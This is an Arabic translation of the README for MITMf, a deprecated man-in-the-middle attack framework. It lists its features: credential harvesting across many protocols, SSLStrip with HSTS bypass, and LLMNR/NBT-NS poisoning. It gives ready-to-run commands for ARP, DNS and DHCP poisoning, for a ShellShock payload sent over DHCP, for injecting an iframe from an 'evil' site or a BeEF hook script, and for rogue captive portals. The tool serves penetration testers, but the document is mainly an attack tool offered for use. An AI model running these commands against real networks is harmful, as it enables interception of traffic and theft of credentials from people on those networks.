إطار عمل لهجمات Man-In-The-Middle
إطار عمل لهجمات الرجل في المنتصف (Man-In-The-Middle)
لم يعد هذا المشروع قيد التحديث. تم كتابة MITMf لمعالجة الحاجة، في ذلك الوقت، لأداة حديثة لتنفيذ هجمات الرجل في المنتصف. منذ ذلك الحين، تم إنشاء العديد من الأدوات الأخرى لملء هذه المساحة، ويجب عليك على الأرجح استخدام Bettercap لأنه أكثر اكتمالاً من حيث الميزات وأفضل صيانة.
دروس سريعة وأمثلة وتحديثات للمطورين على: https://byt3bl33d3r.github.io
تعتمد هذه الأداة على sergio-proxy وهي محاولة لإحياء المشروع وتحديثه.
يمكنك التواصل معي على:
قبل تقديم المشكلات، يرجى قراءة القسم المناسب في الويكي.
يرجى الرجوع إلى الويكي للحصول على تعليمات التثبيت
يهدف MITMf إلى توفير حل شامل لهجمات الرجل في المنتصف وهجمات الشبكة، مع تحديث وتحسين الهجمات والتقنيات الحالية.
بُني في الأصل لمعالجة النواقص الكبيرة للأدوات الأخرى (مثل Ettercap و Mallory)، وقد أُعيدت كتابته بالكامل تقريبًا من الصفر لتوفير إطار عمل معياري وقابل للتوسيع بسهولة يمكن لأي شخص استخدامه لتنفيذ هجوم MITM الخاص به.
يحتوي الإطار على خادم SMB و HTTP و DNS مدمج يمكن التحكم فيه واستخدامه بواسطة الإضافات المختلفة، كما يحتوي على نسخة معدلة من وكيل SSLStrip التي تسمح بتعديل HTTP وتجاوز HSTS جزئيًا.
بدءًا من الإصدار 0.9.8، يدعم MITMf تصفية الحزم النشطة والتلاعب بها (بشكل أساسي ما كانت تفعله etterfilters، ولكن أفضل)، مما يسمح للمستخدمين بتعديل أي نوع من حركة المرور أو البروتوكولات.
يمكن تحرير ملف الإعدادات أثناء تشغيل MITMf، وسيتم تمرير التغييرات عبر الإطار: مما يسمح لك بضبط إعدادات الإضافات والخوادم أثناء تنفيذ الهجوم.
سيلتقط MITMf بيانات اعتماد FTP و IRC و POP و IMAP و Telnet و SMTP و SNMP (سلاسل المجتمع) و NTLMv1/v2 (جميع البروتوكولات المدعومة مثل HTTP و SMB و LDAP إلخ) و Kerberos باستخدام Net-Creds، الذي يتم تشغيله عند بدء التشغيل.
يتيح التكامل مع Responder تسميم LLMNR و NBT-NS و MDNS ودعم خادم WPAD المارق.
يمكنك الآن تعديل أي حزمة/بروتوكول يعترضه MITMf باستخدام Scapy! (لا مزيد من etterfilters! رائع!)
على سبيل المثال، إليك مرشح بسيط يغير فقط عنوان IP الوجهة لحزم ICMP:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet للوصول إلى الحزمة بتنسيق متوافق مع Scapydata للوصول إلى بيانات الحزمة الخامالآن لاستخدام المرشح، كل ما نحتاجه هو: python mitmf.py -F ~/filter.py
ستحتاج على الأرجح إلى دمج ذلك مع إضافة Spoof لاعتراض الحزم من شخص آخر بالفعل ;)
ملاحظة: يمكنك تعديل المرشحات أثناء التشغيل دون إعادة تشغيل MITMf!
الاستخدام الأساسي، يبدأ تشغيل وكيل HTTP وخوادم SMB و DNS و HTTP و Net-Creds على الواجهة enp3s0:
python mitmf.py -i enp3s0
تسميم ARP للشبكة الفرعية بأكملها مع البوابة عند 192.168.1.1 باستخدام إضافة Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
نفس ما سبق + خادم WPAD مارق باستخدام إضافة Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
تسميم ARP للنطاق 192.168.1.16-45 و 192.168.0.1/24 مع البوابة عند 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
تفعيل تسميم DNS أثناء تسميم ARP (يتم سحب النطاقات المراد تسميمها من ملف الإعدادات):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
تفعيل تسميم LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
تفعيل تسميم DHCP (يتم سحب مجموعة IP والشبكة الفرعية من ملف الإعدادات):
python mitmf.py -i enp3s0 --spoof --dhcp
نفس ما سبق مع حمولة ShellShock سيتم تنفيذها إذا كان أي عميل عرضة للخطر:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
حقن إطار HTML باستخدام إضافة Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
حقن سكريبت JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
بدء بوابة أسيرة تعيد توجيه كل شيء إلى http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
بدء بوابة أسيرة على http://your-ip/portal.html باستخدام الصفحة الافتراضية /portal.html (شكرًا responder) و /CaptiveClient.exe (غير مضمن) من مجلد config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
نفس ما سبق ولكن باستخدام hostname captive.portal بدلاً من IP (يتطلب أن يحل captive.portal إلى عنوان IP الخاص بك، على سبيل المثال عبر تسميم DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
تقديم بوابة أسيرة مع مثيل إضافي من SimpleHTTPServer يخدم LOCALDIR على http://IP:8080 (تغيير المنفذ في mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
نفس ما سبق ولكن مع hostname:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
وأكثر من ذلك بكثير!
بالطبع يمكنك خلط ومطابقة أي إضافة تقريبًا معًا (مثل تسميم ARP + injection + Responder إلخ.)
للحصول على قائمة كاملة بالخيارات المتاحة، قم بتشغيل python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr